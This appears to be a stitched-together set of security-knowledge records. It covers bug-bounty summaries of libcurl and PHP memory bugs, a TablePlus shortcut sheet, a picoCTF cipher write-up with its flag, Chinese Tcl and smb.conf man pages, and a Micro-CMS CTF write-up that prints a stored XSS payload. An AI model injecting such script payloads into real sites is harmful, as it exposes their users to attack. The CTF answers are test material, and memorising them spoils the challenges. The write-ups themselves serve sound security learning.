### 3\. Libcurl 越界读取
难度:高
URL:无
报告链接:`http://curl.haxx.se/docs/adv_20141105.html`
报告日期:2014.11.5
奖金:$1000
描述:
Libcurl 是一个免费的客户端 URL 库,并且由 CURL 命令行工具用于转送数据。libcurl 的`curl_easy_duphandle() `函数中发现了一个漏洞,它可以利用来发送本不应传输的敏感数据。
在使用 libcurl 执行数据传输时,我们可以使用一个选项,`CURLOPT_COPYPOSTFIELDS`,来为要发送给远程服务器的数据指定内存区域。换句话说,为你的数据找一块地方。区域大小使用单独的选项来设置。
现在,我们没必要非常技术化,内存区域和一个“句柄”相关(理解清楚“句柄”超出了本书范围,所以没必要了解),并且应用会复制句柄来创建数据的副本。这就是漏洞所在,复制的实现使用了`strdup`,而数据被假设拥有空字符作为字符串末尾。
这种情况下,数据可能没有,或者在任意位置上拥有空字符。因此,复制的句柄可能过小,过大,或者使程序崩溃。此外,在复制之后,发送数据的函数并没有考虑已经读取和复制的数据,所以它也越过了预期的内存地址来访问和发送数据。
> 重要结论
> 这是一个非常复杂的漏洞的示例。虽然它对于这本书来说,过于技术化了,我将其包含来展示它与我们所学的东西的相似性。当我们将其分解时,这个漏洞也与 C 语言代码实现中的一个错误相关,而 C 语言与内存管理和复制相关。同样,如果你打算开始 C 程序的漏洞挖掘,要寻找数据从一块区域复制到另一块区域的地方。
### 4\. PHP 内存截断
难度:高
URL:无
报告链接:`https://bugs.php.net/bug.php?id=69453`
报告日期:2015.4.14
奖金:$500
描述:
`phar_parse_tarfile`函数并没有考虑以空字符开始的文件名称,空字符是值为 0 的字节,即十六进制的`0x00`。
在该方法的执行期间,当使用文件名称时,数组会发生下溢(即尝试访问不存在的数据,并超出了数组分配的内存)。
这是个重要漏洞,因为它向黑客提供了本该限制的内存的访问权。
> 重要结论
在处理自己管理内存的应用时,特别是 C 和 C++,就像缓冲区溢出那样,内存截断是个古老但是仍旧常见的漏洞。如果你发现,你正在处理基于 C 语言的 Web 应用(PHP 使用它编写),要留意内存操作的方式。但是同样,如果你刚刚起步,你可能值得花费更多时间来寻找简单的注入漏洞,当你更熟练时,再回到内存截断。
## 总结
虽然内存相关的漏洞能搞个大新闻,但他们也非常难以处理,并需要相当大量的技巧。这些类型的漏洞最好还是留着,除非你拥有底层编程语言的编程背景。
虽然现代的程序语言不太可能受其影响,由于它们的内存处理和垃圾收集策略,用 C 语言编写的应用仍然易受影响。此外,当你处理用 C 语言编写的现代语言时,事情可能需要一些技巧,就像我们在 PHP`ftp_genlist()`和 Python Hotspot 模块的示例中看到的那样。
|
sec-knowleage
|
---
title: TablePlus
date: 2022-11-23 16:23:31.706905
background: bg-[#ecc550]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 34 keyboard shortcuts found in TablePlus
---
Keyboard Shortcuts
------------------
### Global
Shortcut | Action
---|---
`Ctrl` `N` | Open a new connection
`Ctrl` `Q` | Quit app
`Ctrl` `Shift` `O` | Open SQL file
`Ctrl` `,` | Open Preferences
{.shortcuts}
### Workspace
Shortcut | Action
---|---
`Ctrl` `W` | Close a tab/window
`Ctrl` `S` | Commit the changes
`Ctrl` `T` | Open a new tab
`Ctrl` `L` | Open plugin manager
`Ctrl` `.` | Run custom script
`Ctrl` `R` | Reload workspace
`Ctrl` `[` | Navigate to left tab
`Ctrl` `]` | Navigate to right tab
`Ctrl` `Shift` `[` | Navigate to left Pane
`Ctrl` `Shift` `]` | Navigate to right Pane
`Ctrl` `D` | Split Pane horizontally
`Ctrl` `1-9` | Navigate to number tab
`Ctrl` `K` | Switch database
`Ctrl` `Shift` `K` | Switch connection
`Ctrl` `I` | Indent selected SQL Code
`Ctrl` `E` | Execute SQL Code
`Ctrl` `O` | Open file SQL
`Ctrl` `Shift` `Enter` | Uglify selected SQL statements
`Ctrl` `\` | Comment/Uncomment lines of SQL
`Ctrl` `Z` | Undo
`Ctrl` `Shift` `Z` | Redo
`Ctrl` `P` | Open anything
`Ctrl` `E` | Open SQL Query
`Ctrl` `(click)` | Open item in new tab
`Tab` | Move focus while editing
{.shortcuts}
### Table Data
Shortcut | Action
---|---
`Space` | Toggle row detail when row selected
`Ctrl` `C` | Copy rows
`Ctrl` `V` | Paste rows
`Ctrl` `Alt` `I` | Insert a new row
`Tab` | Move focus while editing
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for TablePlus app](https://tableplus.com/blog/2018/02/shortcut-keys.html) _(tableplus.com)_
|
sec-knowleage
|
# 云原生漏洞学习笔记
> 主要学习:《红蓝对抗中的云原生漏洞挖掘及利用实录》[1]
// TODO
## References
[1] 红蓝对抗中的云原生漏洞挖掘及利用实录,neargle、pk,https://mp.weixin.qq.com/s/Aq8RrH34PTkmF8lKzdY38g
|
sec-knowleage
|
# spelling-quiz
Crypto, 100 points
## Description
> I found the flag, but my brother wrote a program to encrypt all his text files. He has a spelling quiz study guide too, but I don't know if that helps.
Three files were attached.
`encrypt.py`:
```python
import random
import os
files = [
os.path.join(path, file)
for path, dirs, files in os.walk('.')
for file in files
if file.split('.')[-1] == 'txt'
]
alphabet = list('abcdefghijklmnopqrstuvwxyz')
random.shuffle(shuffled := alphabet[:])
dictionary = dict(zip(alphabet, shuffled))
for filename in files:
text = open(filename, 'r').read()
encrypted = ''.join([
dictionary[c]
if c in dictionary else c
for c in text
])
open(filename, 'w').write(encrypted)
```
`flag.txt`:
```
brcfxba_vfr_mid_hosbrm_iprc_exa_hoav_vwcrm
```
`study-guide.txt`:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/spelling-quiz]
└─$ cat public/study-guide.txt| head
gocnfwnwtr
sxlyrxaic
dcrrtfrxcv
uxbvwavcq
lwvicwtiwm
pwtmwnxvicq
avingciisa
ylwtmrcawx
mwaxdcrrxuwlwvq
yciflwnf
┌──(user@kali)-[/media/sf_CTFs/pico/spelling-quiz]
└─$ wc -l public/study-guide.txt
272543 public/study-guide.txt
```
## Solution
From the source code we see that the script encrypted both the flag and the study guide with a simple substitution cipher using a random key. So, we just need to find a key which decrypts the study guide to a sensible result.
[subbreaker](https://gitlab.com/guballa/SubstitutionBreaker) can easily break the substitution cipher with just a subset of the words:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/spelling-quiz]
└─$ subbreaker break --lang EN --ciphertext <(cat public/study-guide.txt | head -n 50)
Alphabet: abcdefghijklmnopqrstuvwxyz
Key: xunmrydfwhglstibjcavopezqk
Fitness: 92.78
Nbr keys tried: 6175
Keys per second: 3418
Execution time (seconds): 1.807
Plaintext:
kurchicine
malfeasor
greenheart
baptistry
litorinoid
vindicatory
stockrooms
flindersia
disagreeability
frohlich
disamenity
outsparspying
preinclination
melanizing
preobedient
chloralformamide
nonelectrolytic
ascertainable
thoracoplasties
pinnaclet
paperweights
incarnation
nonpuerility
unprefined
brasslike
transpositive
glycerol
idolatrizer
hyperoartia
perimedullary
rendition
monstricide
extraspectral
monumentally
cholehematin
overrealism
dinnerless
carpellum
barrulee
extrovertedness
necessar
evincing
perspectivism
plasmolyzability
noctilucal
intertarsal
essoinment
paratypic
borstall
misadressing
```
Let's use the key to decipher the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/spelling-quiz]
└─$ subbreaker decode --key xunmrydfwhglstibjcavopezqk --ciphertext public/flag.txt
perhaps_the_dog_jumped_over_was_just_tired
```
The flag: `picoCTF{perhaps_the_dog_jumped_over_was_just_tired}`
|
sec-knowleage
|
# Micro-CMS v1 - FLAG2
## 0x00 Index

## 0x01 Page 1

## 0x02 Edit Page 1
```html
<script>alert`xss`</script>
```

Save and nothing happened.

## 0x03 FLAG
Go back to home and get the FLAG

|
sec-knowleage
|
'\"
'\" Copyright (c) 1991-1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: library.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: library.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH library 3tcl "8.0" Tcl "Tcl Built-In Commands"
.BS
.SH NAME
auto_execok, auto_import, auto_load, auto_mkindex, auto_mkindex_old, auto_qualify, auto_reset, tcl_findLibrary, parray, tcl_endOfWord, tcl_startOfNextWord, tcl_startOfPreviousWord, tcl_wordBreakAfter, tcl_wordBreakBefore \- standard library of Tcl procedures
.SH "总览 SYNOPSIS"
.nf
\fBauto_execok \fIcmd\fR
\fBauto_import \fIpattern\fR
\fBauto_load \fIcmd\fR
\fBauto_mkindex \fIdir pattern pattern ...\fR
\fBauto_mkindex_old \fIdir pattern pattern ...\fR
\fBauto_qualify \fIcommand namespace\fR
\fBauto_reset\fR
\fBtcl_findLibrary \fIbasename version patch initScript enVarName varName\fR
\fBparray \fIarrayName\fR
.VS
\fBtcl_endOfWord \fIstr start\fR
\fBtcl_startOfNextWord \fIstr start\fR
\fBtcl_startOfPreviousWord \fIstr start\fR
\fBtcl_wordBreakAfter \fIstr start\fR
\fBtcl_wordBreakBefore \fIstr start\fR
.VE
.BE
.SH "介绍 INTRODUCTION"
.PP
Tcl 为公共需求的功能包含了一个 Tcl 过程库。在 Tcl 库中定义的过程是适用于多种不同的应用的通用过程。用 \fBinfo library\fR 命令返回 Tcl 库的位置。除了这个 Tcl 库之外,每个应用通常都有它自己的支持过程库;这个库的位置通常用 \fB$\fIapp\fB_library\fR 全局变量的值给出,这里 \fIapp\fR 是应用的名字。例如,Tk 库的位置保持在变量 \fB$tk_library\fR 中。
.PP
要访问在 Tcl 库中的过程,一个应用应该 source (载入)库中的文件 \fBinit.tcl\fR,例如,Tcl 命令
.CS
\fBsource [file join [info library] init.tcl]\fR
.CE
如果在一个应用的 \fBTcl_AppInit \fR过程中调用了库过程 \fBTcl_Init\fR,则这(个加载)将自动发生。在 \fBinit.tcl\fR 中的代码将定义 \fBunknown\fR 过程和使用下面定义的自动装载机制安排其他过程在需要时装载。
.SH "命令过程 COMMAND PROCEDURES"
.PP
在 Tcl 库中提供了下列过程:
.TP
\fBauto_execok \fIcmd\fR
确定是否有一个叫 \fIcmd \fR的一个可执行文件或 shell 内置命令。如果有,它返回要传递给 \fBexec\fR 来执行这个叫 \fIcmd\fR\fI \fR的可执行文件或 shell 内置命令的那些参数的一个列表。如果没有,它返回一个空串。这个命令检查在当前查找路径中目录(由 PATH 环境变量给出),在其中查找叫 \fIcmd\fR 的一个可执行文件。在 Windows 平台上,查找被展开为相同的目录和与 \fBexec\fR 使用相同的文件名扩展。 \fBAuto_exec\fR 在一个叫 \fBauto_execs\fR\fB \fR的数组中记住以前查找的信息;这避免在将来调用相同的 \fIcmd\fR 时进行路径查找。可以使用命令 \fBauto_reset\fR 来强迫 \fBauto_execok\fR 忘掉缓存的信息。
.TP
\fBauto_import \fIpattern\fR
在 \fBnamespace import\fR 期间调用 \fBAuto_import\fR 来查看用 \fIpattern\fR 指定的导入命令是否驻留在一个 自动装载的库中。如果是,则装载这个命令,这样要建立导入连接的解释器就可以获得它们。如果这个命令不驻留在自动装载库中,\fBauto_import\fR 什么都不做。
.TP
\fBauto_load \fIcmd\fR
这个命令尝试装载一个叫做 \fIcmd\fR 的 Tcl 命令的定义,它查找一个\fB自动装载路径\fR,它是一个或多个目录的一个列表。如果全局变量 \fB$auto_path\fR 存在的话,则它给出这个自动装载路径。如果没有 \fB$auto_path\fR 变量,则若 TCLLIBPATH 环境变量存在则使用它。否则自动装载路径只包含 Tcl 库目录。在自动装载路径中的每个目录中必须有描述在这个目录中定义的一个或多个命令的一个文件 \fBtclIndex\fR,和要被求值来装载每个命令的一个脚本。应当使用 \fBauto_mkindex\fR 命令来自动生成 \fBtclIndex\fR 文件。如果在一个索引文件中找到 \fIcmd\fR ,则求值适当的脚本来建立这个命令。如果成功的建立了 \fIcmd\fR,则 \fBauto_load\fR 命令返回 1。如果没有给 \fIcmd\fR 的索引条目或这个脚本实际上定义的不是 \fIcmd\fR(例如,因为索引信息过时了),这个命令返回 0。如果在处理这个脚本的时候发生了一个错误,则返回这个错误。\fBAuto_load\fR 只读这个索引文件一次并把它保存到数组 \fBauto_index\fR\fB \fR中;以后对 \fBauto_load\fR 的调用将在这个数组中检查 \fIcmd\fR 而不是重读索引文件。可以用命令 \fBauto_reset \fR删除缓存的索引信息。这将强制下一个 \fBauto_load\fR 命令从磁盘重新装载索引数据库。
.TP
\fBauto_mkindex \fIdir pattern pattern ...\fR
生成适合于 \fBauto_load \fR使用的一个索引。这个命令在 \fIdir\fR 中查找名字匹配任何 \fIpattern\fR 参数的所有文件(使用 \fBglob\fR 命令进行匹配),生成在所有匹配的文件的中定义的所有 Tcl 命令过程的一个索引,并且在 \fIdir\fR 中的一个叫 \fBtclIndex \fR的文件中存储索引信息。如果未给出模式,则假定模式是 \fB*.tcl\fR,例如
.RS
.CS
\fBauto_mkindex foo *.tcl\fR
.CE
.LP
将在子目录读 \fBfoo\fR 中读取所有 \fB.tcl\fR 文件并生成一个新索引文件 \fBfoo/tclIndex\fR。
.PP
\fBAuto_mkindex\fR 通过把 Tcl 脚本载入(source)到一个从解释器中来分析它们并监视执行的 proc 和 namespace 命令。扩展可以使用(没有文档) auto_mkindex_parser 包来注册对 auto_load 索引有所贡献的其他命令。你必须阅读 auto.tcl 来查看这是如何工作的。
.PP
\fBAuto_mkindex_old\fR 在一个相对不复杂的方式分析 Tcl 脚本: 如果任何一行包含字 \fBproc\fR 为它的第一个字,则假定它为一个过程定义并接受这一行的下一个字为这个过程的名字。不是以这种方式出现的过程定义(比如,在 \fBproc \fR前面有空格)将不被编排索引。如果你的脚本包含“危险”代码,比如全局初始化代码或有特殊字符如 \fB$\fR、\fB*\fR、\fB[\fR 或 \fB]\fR 的过程名字,则你使用 auto_mkindex_old 是更安全的。
.RE
.TP
\fBauto_reset\fR
销毁被 \fBauto_execok\fR 和 \fBauto_load \fR缓存的所有信息。下次需要这些信息的时候将从磁盘重新读取。\fBAuto_reset\fR 还删除在 auto-load 中列出的所有过程,这样下次使用它们的时候将装载它们的刷新了的复本。
.TP
\fBauto_qualify \fIcommand namespace\fR
计算 \fIcommand \fR的完全限定的名字的一个列表。这个列表镜像标准 Tcl 解释器用以查找命令的那个路径: 首先它在当前名字空间中查找这个命令,接着在全局名字空间中。相应的,如果 \fIcommand\fR 是相对的并且 \fInamespace\fR 不是 \fB::\fR,则返回的这个列表两个元素: 一个是由 \fInamespace\fR 界定范围的\fIcommand\fR,如同它是一个在 \fInamespace\fR 名字空间中的命令一样;而另一个 \fIcommand\fR 如同在全局名字空间中的一个命令一样。否则,如果 \fIcommand\fR 是绝对的(它以 \fB:: \fR为开始),或者 \fInamespace\fR 是 \fB::\fR,则这个列表只包含一个 \fIcommand\fR ,如同它是一个在全局名字空间中的命令一样。
.RS
.PP
在 Tcl 中自动装载设施使用 \fBAuto_qualify\fR,用来生成自动装载索引如 \fIpkgIndex.tcl\fR,和用来在运行时进行实际的函数自动装载。
.RE
.TP
\fBtcl_findLibrary \fIbasename version patch initScript enVarName varName\fR
这个命令是扩展在它们的初始化期间使用的一个标准查找过程。扩展调用这个过程来在多个标准路径中查找它们的过程。目录名字的最后的构成部分通常是 \fIbasenameversion\fR (例如,tk8.0),但在建造等级上他可能是“库”。一旦找到就把 \fIinitScript\fR 文件 source(加载)到解释器中。把在其中找到文件的那个目录保存到全局变量 \fIvarName\fR 中。如果已经定义这个变量(比如,在应用初始化期间用 C 代码),则不进行查找。否则在以下这些目录中进行查找: 由环境变量 \fIenVarName \fR给出名字的目录;相对于 Tcl 库的目录;相对于(??? relative to)在标准安装 bin 或 bin/\fIarch\fR 中的可执行文件的目录;相对于在当前建造树中的可执行文件的目录;相对于在并行建造树中的可执行文件的目录。
.TP
\fBparray \fIarrayName\fR
把数组 \fIarrayName\fR 中的所有元素的名字和值输出到标准输出上。\fBArrayName\fR 必须是一个对于 \fBparray \fR的调用者是可以访问的一个数组。它可以是局部的或全局的。
.TP
\fBtcl_endOfWord \fIstr start\fR
.VS
返回字符串 \fIstr\fR 中在起始索引 \fIstart\fR 之后出现的第一个字结束(end-of-word)位置的的索引。定义字结束位置为在起始点之后跟随在第一个单字字符后面的第一个非字字符。如果在起始点之后没有字结束位置则返回 -1。关于 Tcl 如何确定哪个字符是单字字符的详情参见下面对 \fBtcl_wordchars\fR 和 \fBtcl_nonwordchars\fR 的描述。
.TP
\fBtcl_startOfNextWord \fIstr start\fR
返回字符串 \fIstr\fR 中在起始索引 \fIstart\fR 之后出现的第一个字开始(start-of-word)位置的的索引。定义字开始位置为跟随在一个非字字符后面的第一个单字字符。如果在起始点之后没有字开始位置则返回 -1。
.TP
\fBtcl_startOfPreviousWord \fIstr start\fR
返回字符串 \fIstr\fR 中在起始索引 \fIstart\fR 之前出现的第一个字开始(start-of-word)位置的的索引。如果在起始点之前没有字开始位置则返回 -1。
.TP
\fBtcl_wordBreakAfter \fIstr start\fR
返回字符串 \fIstr\fR 中在起始索引 \fIstart\fR 之后出现的第一个字边界的索引。如果在给定字符串中在起始点之后没有边界则返回 -1。返回的索引参照组成一个边界(字符)对的第二个字符。
.TP
\fBtcl_wordBreakBefore \fIstr start\fR
返回字符串 \fIstr\fR 中在起始索引 \fIstart\fR 之前出现的第一个字边界的索引。如果在给定字符串中在起始点之前没有边界则返回 -1。返回的索引参照组成一个边界(字符)对的第二个字符。
.VE
.SH "变量 VARIABLES"
.PP
在 Tcl 库中的过程定义或使用下列全局变量:
.TP
\fBauto_execs\fR
用它来记录关于特定命令是否存在为可执行文件的信息。
.TP
\fBauto_index\fR
\fBauto_load\fR 用它来保存从磁盘读来的索引信息。
.TP
\fBauto_noexec\fR
如果设置了任何值,则 \fBunknown\fR 不尝试自动执行任何命令。
.TP
\fBauto_noload\fR
如果设置了任何值,则 \fBunknown\fR 不尝试自动装载任何命令。
.TP
\fBauto_path\fR
如果设置了它,则它必须包含一个有效的 Tcl 列表,给出在自动装载操作中要查找的目录。在启动期间初始化这个变量为依次包含: 在 TCLLIBPATH 环境变量中列出的目录,由 $tcl_library 变量命名的目录,$tcl_library 的父目录,在 $tcl_pkgPath 变量中列出的目录。
.TP
\fBenv(TCL_LIBRARY)\fR
如果设置了它,则它指定包含库脚本的目录的位置(这个变量的值将被赋予 \fBtcl_library\fR 变量并被 \fBinfo library \fR命令所返回)。如果这个变量未被设置,则使用缺省的值。
.TP
\fBenv(TCLLIBPATH)\fR
如果设置了它,则它必须包含一个有效的 Tcl 列表,给出在自动装载操作期间要查找的目录。必须用 Tcl 格式指定目录,使用“/”作为分隔符而不管是在什么平台上。只在初始化 \fBauto_path\fR 的时候使用这个变量。
.TP
\fBtcl_nonwordchars\fR
.VS
这个变量包含一个正则表达式,用于象 \fBtcl_endOfWord\fR 这样的例程来识别一个字符是否是一个字的一部分。如果这个模式匹配一个字符,则把这个字符作为一个非字(non-word)字符对待。在 Windows 平台上,空格、tab、和换行被作为非字字符对待。在 Unix 下,除了数字、字母和下划线之外,所有字符都是非字字符。
.TP
\fBtcl_wordchars\fR
这个变量包含一个正则表达式,用于象 \fBtcl_endOfWord\fR 这样的例程来识别一个字符是否是一个字的一部分。如果这个模式匹配一个字符,则把这个字符作为一个单字字符对待。在 Windows 平台上,字有任何不是空格、tab、或换行的字符组成。在 Unix 下,字由数字、字母或下划线组成。
.VE
.TP
\fBunknown_pending\fR
\fB unknown\fR 用它来记录正在查找的命令。在 \fBunknown\fR 在自身上无穷递归的地方,使用它来检测错误。在 \fBunknown\fR 返回前删除它的值。
.SH "参见 SEE ALSO"
info(n), re_syntax(n)
.SH "关键字 KEYWORDS"
auto-exec, auto-load, library, unknown, word, whitespace
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/12/06
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
.\" -*- nroff -*-
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "SMB.CONF" 5 "" "" ""
.SH NAME
smb.conf \- Samba组件的配置文件
.SH "总览 SYNOPSIS"
.PP
\fIsmb.conf\fR是Samba组件的配置文件,包含Samba程序运行时的配置信
息.\fIsmb.conf\fR被设计成可由\fBswat\fR (8)程序来配置和管理.本文件包含了
关于smb.conf的文件格式和可能出现的选项的完整描述以供参考.
.SH "文件格式 FILE FORMAT"
.PP
本文件由一系列段和选项构成.一个段由一对方括号中的段名开始,直到下一个段名结束.包含在段中的选项按以下格式定义:
.PP
\fI选项名\fR = \fI选项值\fR
.PP
本文件是基于文本行的.这就是说,每一个以换行符结束的行描述了一个项目(注释,段名,或选项).
.PP
段名和选项名是不区分大小写的.
.PP
只有选项设置中的第一个等号才有意义.第一个等号前后的空格会被忽略.段名和选项名的前后以及中间包含的空格是无关的.选项值前后的空格会被忽略.选项值中包含的空格会原样保留.
.PP
所有以';'和'#'符开头的行都会被忽略,就象只有空格的行那样.
.PP
按照UNIX上的惯例,以'\'符号结尾的行续下一行.(也就是说:'\'是续行符,如果一行写不下,可以在行尾以'\'结束,在下一行继续写--译注)
.PP
等号后面跟的是字符串(无需引号)或者逻辑值(可以是yes/no,1/0,或者true/false
来表示).逻辑值是不区分大小写的.字符串值则原样保留了输入的大小写.某些选项
(例如create modes)的值是数值型的.
.SH "段描述 SECTION DESCRIPTIONS"
.PP
配置文件的每一段([global]段除外)描述一项共享资源.段名就是共享名,段内的选项设置确定了该共享资源的属性.
.PP
三个特殊段([global],[homes],[printers])将在后面'special sections'单独说明,以下的内容是普通段的说明.
.PP
一个共享资源由一个文件目录和用户对此目录的操作权限的说明构成.另外,还列入了一些用于内部管理的选项.
.PP
每一段定义了一项文件服务(客户端可以把它看作其本机文件系统的延伸)或打印服务(客户端可以通过它来使用服务器提供的打印服务).
.PP
段可以定义成\fBguest\fR服务类型,在这种情况下,客户无需口令就可以访问该资源.一个特定的UNIX系统下的\fBguest account\fR通常用来指定这种情况下的客户访问权限.
.PP
除了guest服务类型以外,其他类型的段定义的共享资源都需要口令才能访问.用户名是由客户端提供的.由于某些老的客户端只提供口令,没有用户名,你需要在共享定义中使用"user="选项来指定一个用户列表,以便根据这个用户列表进行口令验证.对于象Windos95/98和WindowsNT这样的现代客户端程序,这个选项是不需要的.
.PP
注意,对于资源的操作权限还取决于主机系统赋予指定用户或来访者账户的权限.samba提供的服务权限不能超出主机系统指定的权限范围.
.PP
下面的示范段定义了一项文件服务,用户拥有对\fI/home/bar\fR目录进行写操作的权限.这个共享资源是通过共享名"foo"来访问的.
.nf
[foo]
path = /home/bar
read only = no
.fi
.PP
下面示范段定义了一项打印服务,此共享资源是只读的,但是可以进行打印操作.也就是说,唯一允许的写操作只能是打开、写入并关闭一个打印假脱机文件.其中的\fIguest ok\fR选项定义意味着允许以缺省的guest用户(在别处定义的)权限进行访问.
.nf
[aprinter]
path = /usr/spool/public
read only = yes
printable = yes
guest ok = yes
.fi
.SH "特殊段 SPECIAL SECTIONS"
.SS "[global] 全局选项段 "
.PP
这一段中定义的选项是服务器的全局性设置,如果在其他段中没有再对这些选项进行重新设置的话还可以作为它们的缺省选项.更多的说明请参阅'PARAMETERS'部分的内容.
.SS "[homes] 个人目录段"
.PP
如果配置文件中包含名为'homes'的段,就可以建立客户到自己在服务器上的个人目录的连接.
.PP
当服务器收到连接请求时,首先在已定义的段中搜索,如果段名与被请求的共享资源名一致,则该段的内容就被采用.如果没有找到匹配的段,则被请求的资源就被当作是一个用户名,同时服务器查看本地的口令文件.如果该用户名在口令文件中存在且用户给出了正确的口令,服务器就会复制[homes]段的内容来生成一个共享资源(供该用户访问).
.PP
对新建共享会做以下修改:
.TP 3
共享名从'homes'改为查到的用户名.
.TP
如果没有指定访问路径,则设置为该用户的个人目录.
.LP
.PP
